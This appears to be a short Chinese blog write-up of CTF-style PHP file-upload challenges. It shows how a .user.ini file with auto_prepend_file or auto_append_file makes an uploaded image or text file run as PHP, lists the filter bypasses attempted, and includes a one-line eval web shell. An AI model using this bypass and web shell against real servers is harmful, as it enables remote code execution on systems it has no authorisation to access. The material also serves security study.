文件上传--php user.ini详解

文件上传

参考文档:https://www.php.net/manual/zh/configuration.file.per-user.php

如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

auto_prepend_file  表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。

auto_prepend_file="shell.png"

auto_append_file    这个是指内容添加到文末,如果有exit会无法调用到

 

文件上传一

修改后缀--失败

 大小写,php3等等--没有显示错误,上传成功

 尝试访问图片--没有被解析,下载到了本地

 尝试00截断--失败

 使用.user.ini   使用auto_prepend_file="shell.png"

 

上传shell.png

 成功

 

文件上传二:

上传一个普通的png文件:发现路径

 上传.user.ini文件 使用 auto_append_file="1.txt"

 上传1.txt  

 

上传失败疑似是过滤php,使用简写<?=@eval($_POST[x]);?>

 成功

 

 

posted @ 2024-05-07 11:07  wizard骑士  阅读(166)  评论(0编辑  收藏  举报